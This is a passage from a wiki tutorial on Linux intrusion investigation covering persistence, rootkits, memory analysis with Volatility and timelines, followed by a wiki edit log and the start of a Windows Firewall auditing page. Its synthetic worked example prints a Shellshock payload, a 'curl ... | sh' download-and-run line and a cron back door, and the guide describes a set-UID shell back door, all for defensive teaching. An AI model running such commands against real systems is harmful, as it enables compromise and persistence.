ls -l /etc/sudoers.d/; sudo grep -rvE '^\s*(#|$)' /etc/sudoers /etc/sudoers.d/
</syntaxhighlight>

A second UID-0 account, or a regular user suddenly present in <code>sudoers</code>, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as <code>www-data</code> or <code>mysql</code>) still have a non-login shell and no usable password hash in <code>/etc/shadow</code>, and that nobody has been quietly added to a privileged group in <code>/etc/group</code>.

=== Command history ===

<syntaxhighlight lang="bash">
sudo sh -c 'ls -l /root/.bash_history /home/*/.bash_history' # empty? a symlink to /dev/null? recently truncated?
sudo sh -c 'cat /root/.bash_history /home/*/.bash_history'
</syntaxhighlight>

What to keep in mind about <code>.bash_history</code>:

* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the <code>bash</code> plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).
* It has '''no timestamps''' by default (unless <code>HISTTIMEFORMAT</code> was set). To date a command, match it with other evidence:a log line, a file's timestamp, or a process start time. For example, a <code>useradd</code> in the history can be tied to the log entry for the new account and the modification time of <code>/etc/passwd</code>.
* It is a plain text file. Attackers can edit or delete it, clear it (<code>history -c</code>), unset <code>HISTFILE</code>, or link it to <code>/dev/null</code>. Older copies sometimes survive in the disk's unallocated space, so searching a disk image for typical command strings can recover deleted history.
* An ''empty or missing'' history on an account that is otherwise active is itself worth noting.

=== Other traces users leave behind ===

Interactive use of a Linux system leaves small traces in the user's home directory. Individually minor, they often fill in the story:

{| class="wikitable"
! File (in the user's home directory) !! What it can show
|-
| <code>.ssh/authorized_keys</code> || Keys that can log in ''to'' this account. Any key you do not recognize is a possible back door.
|-
| <code>.ssh/known_hosts</code> || Machines this user connected ''out to'' over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.
|-
| <code>.ssh/config</code> || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.
|-
| <code>.lesshst</code> || Search terms typed into the <code>less</code> pager, and commands run from inside it.
|-
| <code>.viminfo</code> || Files recently edited in <code>vim</code> (with the position in each), plus its search and command history.
|-
| <code>.local/share/recently-used.xbel</code> || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).
|-
| <code>.local/share/Trash/</code> || Files deleted through the desktop; the <code>info/</code> folder records where each came from.
|-
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.
|}

=== The audit framework ===

If <code>auditd</code> is installed and configured, it is the best source for "who ran what." For example, with a rule that watches account files:

<syntaxhighlight lang="bash">
# in /etc/audit/rules.d/identity.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity

# later, when investigating
sudo ausearch -k identity -i # events that matched the rule, human-readable
sudo aureport -au # authentication summary

# the same tools can read logs copied off a machine or mounted from an image
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd
</syntaxhighlight>

If keystroke (TTY) auditing was enabled, <code>aureport --tty</code> can show what was typed. Auditing has to be set up ''before'' the incident; it cannot reconstruct events that were never recorded.

== Step 4: Persistence ==

Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:

<syntaxhighlight lang="bash"># scheduled tasks
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
sudo ls -la /var/spool/cron/crontabs/ # /var/spool/cron/ on RHEL family
sudo ls -la /var/spool/cron/atjobs/ 2>/dev/null # one-time "at" jobs (Debian/Ubuntu)
systemctl list-timers --all

# services and units
systemctl list-unit-files --state=enabled
sudo find /etc/systemd /usr/lib/systemd -type f -newermt "2026-09-01"
ls -la ~/.config/systemd/user 2>/dev/null

# SSH keys (any key listed here can log in as that user with no password)
sudo find / -xdev -name authorized_keys -exec ls -l {} \;
sudo sh -c 'cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys' 2>/dev/null

# shell start-up files that run at every login
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc

# programs injected into every process (normally this file is absent or empty)
cat /etc/ld.so.preload 2>/dev/null</syntaxhighlight>

Older systems use init scripts under <code>/etc/init*</code> instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a '''script that a legitimate task already runs'''. Look at what your scheduled tasks and services actually execute, not only at their configuration.

'''Back doors beyond start-up entries:''' a web shell in the web root; a replacement <code>sshd</code> with a built-in password; an extra UID 0 account; a service account given a password; an added <code>authorized_keys</code> line; a broadened <code>sudoers</code> entry; and the set-UID trick below.

'''Set-UID/set-GID programs.''' A program with the set-UID bit runs with its ''owner's'' privileges rather than the user's (this is how <code>passwd</code> can update <code>/etc/shadow</code>). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with <code>-p</code>, so it does not drop its privileges) is root again.

<syntaxhighlight lang="bash">
# set-UID / set-GID programs anywhere outside /usr (there should be very few)
sudo find / $ -path /proc -o -path /sys $ -prune -o -type f $ -perm -4000 -o -perm -2000 $ ! -path '/usr/*' -ls 2>/dev/null

# the full list of set-UID programs
sudo find / -xdev -perm -4000 -type f 2>/dev/null
</syntaxhighlight>

Compare the full list against a clean machine of the same OS, the same baseline-and-<code>diff</code> technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, and dot-prefixed directories under <code>/usr</code>, <code>/var</code> or <code>/dev</code> are all worth a closer look.

=== A post-exploitation checklist ===

{| class="wikitable"
! Check !! How
|-
| New or unexpected SSH keys || Read every <code>authorized_keys</code>. If you find one, search your other machines for the same key.
|-
| Unexpected group members || Compare <code>/etc/group</code> against what you expect, especially groups named in <code>sudoers</code>.
|-
| Unlocked service accounts || Service accounts should have <code>nologin</code> (or <code>false</code>) as their shell and no valid password hash in <code>/etc/shadow</code>.
|-
| Extra UID 0 accounts || <code>awk -F: '$3==0' /etc/passwd</code>
|-
| Edited sudo rules || Read <code>/etc/sudoers</code> and <code>/etc/sudoers.d/</code> directly.
|-
| Unauthorized set-UID bits || The <code>find</code> commands above.
|}

== Step 5: Rootkits and tampering ==

A '''rootkit''' is malware built to hide itself and the attacker's other activity. Two kinds are common on Linux:

* '''User-space (library preload) rootkits''' install a malicious shared library and make every program load it (through <code>/etc/ld.so.preload</code> or the <code>LD_PRELOAD</code> variable), so that <code>ls</code>, <code>ps</code>, <code>ss</code> and friends quietly leave out the attacker's files, processes and connections. Older rootkits simply replaced those programs.
* '''Kernel-module (LKM) rootkits''' load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under <code>/usr/src</code>) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.

=== Signs something is being hidden ===

* Basic tools misbehave, disagree with each other, or stop working (<code>ls</code> or <code>ps</code> failing on an otherwise healthy system).
* A listening port shows in a port scan from another machine but not in <code>ss</code> on the host.
* Disk usage that does not add up, or CPU usage with no process to explain it.
* Logs with unexplained gaps, zero-length files (<code>/var/log/wtmp</code>, <code>btmp</code>) or timestamps that jump backwards.
* A "tainted" kernel: <code>cat /proc/sys/kernel/tainted</code> is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask "which module?", it is not necessarily a verdict.

=== Detection tools ===

<syntaxhighlight lang="bash">
sudo apt install rkhunter chkrootkit # or dnf install on RHEL-family (EPEL)
sudo rkhunter --check --sk --rwo # run all checks; skip keypress prompts; report warnings only
sudo chkrootkit
</syntaxhighlight>

<code>rkhunter</code> and <code>chkrootkit</code> compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in <code>/var/log/rkhunter.log</code>). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:

* They are '''signature-based''': they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). <code>chkrootkit</code> in particular sees little development, and many investigators no longer rely on it.
* They run ''on'' the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).
* <code>rkhunter</code> is much more useful if you run <code>sudo rkhunter --propupd</code> on a known-clean system first, so later runs can detect changed files.

=== Verify installed files against the package manager ===

<syntaxhighlight lang="bash">
sudo apt install debsums && sudo debsums -c # Debian/Ubuntu: list installed files whose checksum changed
sudo rpm -Va # RHEL family: verify all packages
</syntaxhighlight>

A modified <code>/bin/ls</code>, <code>/usr/bin/ps</code> or <code>sshd</code> that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)

=== Cross-checking tools against each other ===

Because a rootkit typically fools some tools but not others, disagreement is informative:

<syntaxhighlight lang="bash">
echo /usr/src/.* # the shell's own glob expansion; does it show entries ls hides?
ls /proc | grep -E '^[0-9]+$' | wc -l ; ps -e --no-headers | wc -l # process count via /proc vs via ps
sudo apt install unhide && sudo unhide proc # look for processes hidden from ps
lsmod # compare to a known-good machine's module list
</syntaxhighlight>

A statically linked tool (such as <code>busybox</code>, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.

=== Log tampering ===

<syntaxhighlight lang="bash">
ls -la /var/log # any log suddenly tiny, empty, or not modified when it should be?
journalctl --verify # consistency check of the journal files
</syntaxhighlight>

The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with <code>rsyslog</code>) so that deleting local lines does not delete the record.

== Going deeper: memory analysis with Volatility 3 ==

Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.

[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.

=== The symbols problem ===

Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a "symbol table" (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor's build options), and you may need a different symbol file for every machine in an investigation.

Making one requires the kernel built '''with debugging symbols''': a "debug" kernel package for the exact version (named with <code>-dbg</code> or <code>-dbgsym</code> depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.

<syntaxhighlight lang="bash">
# 1. What kernel was running? (a banner is stored in memory)
vol -f memory.lime banners.Banners
strings -a memory.lime | grep PRETTY_NAME= # the distribution name, too

# 2. If you have the matching debug kernel (a large "vmlinux" file, hundreds of MB; a normal one is under ~10 MB)
sudo find / -name 'vmlinu*' -size +100M 2>/dev/null
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 # look for "with debug_info, not stripped"

# 3. Convert it into a symbol file and place it where Volatility looks
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 > vmlinux-5.10.0-21-amd64.json
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/
</syntaxhighlight>

If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (<code>vol</code>, <code>vol.py</code> or <code>vol3.py</code>) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with <code>-s .</code>.

=== The plugins you will use most ===

Plugin names and output change between versions. List the current ones with <code>vol --help | grep linux.</code>. A good first test is <code>linux.pslist.PsList</code>: it is fast, and if it produces sensible output your image and symbols are working.

{| class="wikitable"
! Plugin !! What it answers
|-
| <code>linux.pslist.PsList</code> || What processes exist (PID, parent PID, name)?
|-
| <code>linux.psaux.PsAux</code> || The same, with each process's full command line.
|-
| <code>linux.pstree.PsTree</code> || The parent/child tree, useful for "how was this started?"
|-
| <code>linux.lsof.Lsof</code> || Which files does a process have open (add <code>--pid</code> to pick one)? Reveals executables and data in strange places.
|-
| <code>linux.elfs.Elfs</code> and <code>linux.proc.Maps</code> || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).
|-
| <code>linux.sockstat.Sockstat</code> || Network connections and listeners (filter with <code>grep AF_INET</code> to skip the noisy local sockets).
|-
| <code>linux.bash.Bash</code> || Command history recovered from running shells, ''with timestamps''.
|-
| <code>linux.lsmod.Lsmod</code> || Loaded kernel modules (the ones that are not hidden).
|}

The <code>bash</code> plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session's commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell's start time; the lines after them, with different times, are what was typed in that session.

=== Hunting for rootkits in memory ===

<syntaxhighlight lang="bash">
vol -s . -f memory.lime linux.check_modules.Check_modules # kernel modules hidden from the normal module lists
vol -s . -f memory.lime linux.check_syscall.Check_syscall # system calls whose handlers have been replaced (hooks)
vol -s . -f memory.lime linux.check_creds.Check_creds # processes sharing credentials, a sign of credential tampering
</syntaxhighlight>

* <code>Check_modules</code> compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing <code>Lsmod</code> output with a known-good machine.
* <code>Check_syscall</code> shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under <code>/proc</code>, hide processes too) and for sending signals.
* Other plugins (for example <code>Check_afinfo</code>, <code>Check_idt</code>, <code>Keyboard_notifiers</code>, <code>Tty_check</code>) look for network-structure tampering and keylogger techniques.

After that use YARA rules built from indicators you already have (the <code>YaraScan</code> plugin, or YARA directly), look at the <code>bash</code> history for the commands used to install the rootkit, and search the image with <code>strings</code>.

=== No symbol file? Quick triage instead ===

Even without Volatility working, a memory image can be mined. <code>strings</code> pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.

<syntaxhighlight lang="bash">
strings -a memory.lime | gzip > memory.strings.gz # keep for context searches
bulk_extractor -o be-out memory.lime # the output folder must not already exist

head be-out/url_histogram.txt # start with the histograms: common URLs, IPs, domains
head be-out/ip_histogram.txt

# who was talking to whom, from packet fragments bulk_extractor recovered
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head
</syntaxhighlight>

Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (<code>zgrep -F -C3 suspicious.example memory.strings.gz</code>) for context.

== Step 6: Building a timeline ==

Investigations get clear once events are in one ordered list. A '''timeline''' combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.

=== Quick version ===

<syntaxhighlight lang="bash">
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path
sudo find / -xdev -type f -newermt '2026-09-10 00:00' ! -newermt '2026-09-11 00:00' \
-printf '%C+ %T+ %u %p\n' | sort

stat /var/tmp/.cache/update # shows access, modify, change (and, on many filesystems, birth) times

# files changed after a file you already know the attacker touched
sudo find / -xdev -newer /etc/passwd -type f -ls 2>/dev/null
ls -lArt /etc # a directory sorted by modification time, oldest first
</syntaxhighlight>

=== The full method (The Sleuth Kit) ===

For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a "body file" (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.

<syntaxhighlight lang="bash">
# 1. one body file per file system ("-m /" = the mount point prefix to put on each path)
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip > bodyfile-root.gz
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip > bodyfile-boot.gz # -o = the partition's start sector, from mmls

# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 > timeline.csv
</syntaxhighlight>

Open the CSV in a spreadsheet or a timeline viewer. The date argument means "from this date forward"; use a range such as <code>2026-09-01..2026-09-15</code> to limit it further. Then start from '''pivot points''': places in the timeline you already have reason to look.

* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.
* Modification times on <code>/etc/passwd</code> and <code>/etc/shadow</code> if accounts were added.
* An alert, a log entry or a suspicious login.
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.

=== Understanding Linux timestamps ===

Files have four time values:

{| class="wikitable"
! Name !! Meaning !! Notes
|-
| '''mtime''' (modified) || When the contents last changed || Easy for an attacker with root to set to any value with <code>touch -d</code>.
|-
| '''atime''' (accessed) || When the contents were last read or run || Linux usually mounts with <code>relatime</code>, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.
|-
| '''ctime''' (changed) || When the file's ''metadata'' last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been "timestomped." But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as <code>debugfs</code>).
|-
| '''btime''' (birth/creation) || When the file was created || Recorded by ext4 and shown by <code>stat</code> ("Birth"); not available on every file system or tool.
|}

Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits <code>/etc/shadow</code> and a user later changes a password, the attacker's timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package's own program during an update is not.

For those reasons, treat a timeline as '''a guide to evidence, not evidence itself'''. It points you to the files, logs and memory artifacts that you then examine and can report.

Some other useful timing facts:

* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation's local time zone unless you tell them otherwise.
* The SSH host keys under <code>/etc/ssh</code> are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)
* Check the system's own clock and time zone against its logs before you compare times across sources.

=== A note on deleted files ===

Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.

== Worked example ==

''This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.''

'''Report:''' the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.

'''1. Volatile state.''' The process tree shows a shell started by the web server, and a process nobody can identify:

<syntaxhighlight lang="text">
www-data 4108 apache2 -k start
www-data 4121 \_ sh -c curl -s http://203.0.113.50/u.sh | sh
www-data 4188 /var/tmp/.cache/update
</syntaxhighlight>

<syntaxhighlight lang="text">
$ sudo ss -tnp state established
Recv-Q Send-Q Local Address:Port Peer Address:Port Process
0 0 10.0.0.5:48822 203.0.113.50:4444 users:(("update",pid=4188,fd=3))
</syntaxhighlight>

Already there are three clues: a web-server child running a downloader, a program in a hidden directory under <code>/var/tmp</code>, and an outbound connection owned by that program.

'''2. Way in.''' The access log around the time process 4121 started (14:02 UTC) holds:

<syntaxhighlight lang="text">
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] "GET /cgi-bin/status.sh HTTP/1.1" 200 412 "-" "() { :;}; echo; /usr/bin/id"
</syntaxhighlight>

A <code>() {</code> in the User-Agent, sent to a CGI script, is a Shellshock attempt. The <code>200</code> and the timing (the shell appears seconds later) suggest it worked. The client address, <code>198.51.100.7</code>, is the same one that was guessing SSH passwords minutes earlier in <code>auth.log</code>, so the attacker was probing more than one way in.

'''3. Persistence.''' The cron directory for the web user contains a job that restarts the unknown program every minute:

<syntaxhighlight lang="text">
$ sudo cat /var/spool/cron/crontabs/www-data
* * * * * /var/tmp/.cache/update >/dev/null 2>&1
</syntaxhighlight>

Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of <code>/proc/4188/exe</code> and hashes it.

'''4. Timeline.'''

{| class="wikitable"
! Time (UTC) !! Event !! Source
|-
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as <code>deploy</code> || <code>auth.log</code>
|-
| 14:02 || Shellshock-style request against <code>/cgi-bin/status.sh</code> || <code>access.log</code>
|-
| 14:02 || <code>apache2</code> spawns a shell that downloads and runs a script || process tree
|-
| 14:03 || <code>/var/tmp/.cache/update</code> created; cron entry added || file times, crontab
|-
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || <code>ss</code>
|}

'''5. Conclusions and open questions.''' The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the <code>deploy</code> SSH login also the attacker (check that account's history and keys)? What did the attacker reach with the web user's permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.

== After the analysis ==

* '''Contain:''' isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.
* '''Eradicate and recover:''' if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.
* '''Reset credentials and keys''' that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.
* '''Close the way in:''' patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).
* '''Write it up:''' the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.

== Quick reference: symptom to first check ==

{| class="wikitable"
! Symptom !! First place to look
|-
| Unexpected logins || <code>last -aiF</code>, <code>auth.log</code> (or <code>secure</code>), <code>journalctl -u ssh</code>
|-
| Web server slow or making outbound connections || Process tree (<code>ps --forest</code>), <code>ss -tnp</code>, web access and error logs
|-
| A process you cannot identify || <code>/proc/PID/exe</code> and <code>cwd</code>; is the executable deleted, under <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, or in a hidden directory?
|-
| A user or service you do not recognize || <code>/etc/passwd</code> (UID 0 and login shells), <code>/etc/shadow</code>, <code>sudoers</code>
|-
| A program that keeps coming back || <code>crontab</code>s, <code>systemctl list-timers</code>, enabled unit files, shell start-up files, scripts those run
|-
| Someone can log in without a password || <code>authorized_keys</code> files, <code>sshd_config</code>
|-
| Commands behave strangely or disagree || <code>debsums</code> or <code>rpm -Va</code>, <code>/etc/ld.so.preload</code>, a memory image with Volatility, a trusted boot disk, <code>rkhunter</code> as a secondary check
|-
| Logs look too clean || File sizes and mtimes in <code>/var/log</code>, remote log server, <code>journalctl --verify</code>
|-
| "What happened, and in what order?" || A timeline: <code>find -printf</code> for a quick look, TSK <code>fls</code> plus <code>mactime</code> for a full one
|-
| Machine is off, or you have only a disk || Mount the image read-only (<code>ro,noexec,noload</code>) and work through steps 2 to 6 on the mount
|}

== Practicing safely ==

The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the ''defender'' side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.

For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi's team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository's own terms before copying or redistributing anything from it.

== Credits and license ==

Parts of this page are adapted from ''Linux Forensics'' (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].

== Sources and further reading ==

* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics ''Linux Forensics'']. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for <code>ss</code>, <code>find</code>, <code>stat</code>, <code>journalctl</code>, <code>last</code>, <code>ausearch</code>, <code>mount</code>, <code>losetup</code> and the other commands used above.

[[Category:Linux]]

2026-10-02T20:11:20Z

FlyingShrimps: Blanked the page

Firewall Auditing

2026-10-02T03:52:28Z

FlyingShrimps: FlyingShrimps moved page Draft:Firewall Auditing - Beginner to Firewall Auditing without leaving a redirect: Later on maybe add more citations/references but for now it's good.

-----

Author(s): brody001301

Last Updated: 07-06-2026

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== What is a firewall? ==

A firewall is a system that monitors and controls incoming and outgoing network traffic based on a set of rules.

Windows ships with a built-in firewall, officially called Windows Defender Firewall with Advanced Security, often referred to as WFAS, or simply "Windows Firewall". Windows Firewall runs as a service in the background and filters traffic before it ever reaches the applications running on the system. See the services section to understand how Windows services run.

== Why do we need to audit the firewall? ==

A firewall is only as strong as its configuration. A firewall with no rules, overly permissive rules, or rules that were added by malware or a careless administrator can leave a system just as exposed as having no firewall at all. Issues commonly found during an audit include:

* Rules that allow traffic from any address ("Any" or 0.0.0.0/0) when only a specific IP or subnet should be trusted
* Unnecessary inbound rules left enabled for programs or ports that are no longer in use
* Rules created by an installed application that are broader than the application actually needs
* The firewall being disabled entirely on one or more profiles (see below)
* Logging being disabled, meaning there is no record of blocked or allowed connections to investigate later

Just like with services, the goal of a firewall audit isn't to lock everything down blindly. Some inbound and outbound rules are required for the system to function correctly (file sharing, remote management, Windows Update, etc.). The goal is to make sure every rule that exists is necessary, scoped as tightly as possible, and matches what the benchmark or policy for your environment requires.

A great place to start is a STIG or CIS benchmark, which will typically have a section dedicated to firewall configuration and can tell you exactly what should be enabled, disabled, or configured a certain way. A link to at least one benchmark is in the References & Further Reading section below.

== How does the firewall work? ==

=== Profiles ===

Windows Firewall uses the concept of profiles to apply different rules depending on the type of network the computer is connected to. There are three profiles:

* '''Domain''' - Applied automatically when the computer is connected to a network where it can authenticate to a domain controller (i.e. a corporate/managed network)
* '''Private''' - Applied to networks the user has manually marked as trusted, such as a home or small office network
* '''Public''' - Applied to untrusted networks, such as coffee shop Wi-Fi or any network not marked as Private

Each profile can have its own independent settings: whether the firewall is on or off, the default action for inbound/outbound traffic, and which rules apply. This allows a laptop to be locked down tightly on Public networks but allow more traffic on its home Private network.

=== Rules ===

The firewall's behavior is defined by rules. Each rule can specify things like:

* '''Direction''': Inbound traffic coming into the machine, or Outbound traffic leaving the machine
* '''Action''': Allow or block a connection
* '''Program''': Restrict the rule to a specific executable
* '''Protocol and Ports''': e.g. TCP port 443, UDP port 53
* '''Scope''': Which local and remote IP addresses the rule applies to
* '''Profile''': Which of the three profiles (Domain/Private/Public) the rule applies to

By default, Windows Firewall blocks all unsolicited inbound traffic and allows all outbound traffic, then specific rules can be added on top of that baseline. Many built-in rules already exist for core Windows features such as file and printer sharing, remote desktop, network discovery, etc. Rules like these are typically disabled until the corresponding feature is turned on.

=== Logging ===

The firewall can be configured to log dropped packets, successful connections, or both, to a log file. This log is extremely valuable during an audit or an incident investigation, since it provides a record of what the firewall has actually been doing rather than just what it's configured to do. Logging is disabled by default and is one of the first things to check during an audit, since a benchmark will often require it to be turned on for both allowed and dropped connections.

== Configuring the firewall ==

There are multiple ways to view and configure the Windows Firewall. The main ones are outlined below. It is worth setting up a practice image or testing VM so you can get hands-on experience with each method before touching a production system.

=== Windows Defender Firewall with Advanced Security (wf.msc) ===

This is the GUI tool for configuring Windows Firewall in detail. To open it, search for "Windows Defender Firewall with Advanced Security" in the Windows search bar, or run <code>wf.msc</code> from the Run dialog or a terminal. From <code>wf.msc</code> you can:

* View and edit Inbound Rules and Outbound Rules separately
* Create new rules using a guided wizard with options for program, port, predefined feature, or custom
* View and edit Connection Security Rules, such as those used for IPsec
* Check and change the profile level settings (Domain/Private/Public) by right-clicking the root node and selecting Properties, including whether the firewall is on, the default inbound/outbound action, and logging settings

Double clicking any rule in the list brings up its Properties, letting you inspect or change its program, ports, scope, and profile in detail. This is generally the best tool for a manual, visual audit of exactly what rules exist and how they're scoped.

=== netsh advfirewall ===

